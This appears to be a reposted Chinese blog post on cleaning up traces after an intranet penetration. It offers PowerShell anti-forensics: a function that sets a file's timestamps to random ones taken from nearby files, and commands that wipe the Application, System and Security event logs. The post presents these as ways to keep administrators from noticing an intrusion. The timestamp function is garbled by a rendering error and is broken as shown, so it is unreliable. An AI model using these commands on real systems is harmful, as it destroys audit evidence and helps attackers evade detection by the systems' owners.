内网渗透结束,痕迹清理必备手段
痕跡清理
在我們做完一系列的內(nèi)網(wǎng)滲透操作后,必然會(huì)留下一些蛛絲馬跡,因此我們需要給自己”擦屁股“。本篇只介紹如何清除系統(tǒng)日志、修改文件時(shí)間戳。
痕跡清理
Powershell 修改文件時(shí)間戳
有時(shí)候我們?cè)诘顷懩繕?biāo)桌面后,根據(jù)需求可能會(huì)動(dòng)用目標(biāo)主機(jī)上的文件或者文件夾,而一些管理員很久都不會(huì)登陸一次主機(jī);設(shè)想當(dāng)管理員一上線看到自己的文件夾日期有異常,是否會(huì)懷疑?
Function edit_time(KaTeX parse error: Expected '}', got 'EOF' at end of input: path){date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;date2=Get?ChildItem∣SelectLastWriteTime∣Get?Random;date2 =Get-ChildItem | Select LastWriteTime|Get-Random;date2=Get?ChildItem∣SelectLastWriteTime∣Get?Random;date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item path).lastaccesstime=path).lastaccesstime=path).lastaccesstime=date1.LastWriteTime;
$(Get-Item path).creationtime=path).creationtime=path).creationtime=date2.LastWriteTime ;
$(Get-Item path).lastwritetime=path).lastwritetime=path).lastwritetime=date3.LastWriteTime};
edit_time(“C:\Users\saulGoodman\Desktop\工具包\pass.txt”)
圖片
Powershell 清除系統(tǒng)日志
當(dāng)我們做了一些操作都會(huì)記錄到時(shí)間查看器里,而下面的 Powershell 就可清除相關(guān)日志:
PowerShell -Command “& {Clear-Eventlog -Log Application,System,Security}”
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
圖片
總結(jié)
以上是生活随笔為你收集整理的内网渗透结束,痕迹清理必备手段的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: html项目符号怎么设成大圆点,Word
- 下一篇: 宽带按流量计费?欢迎讨论!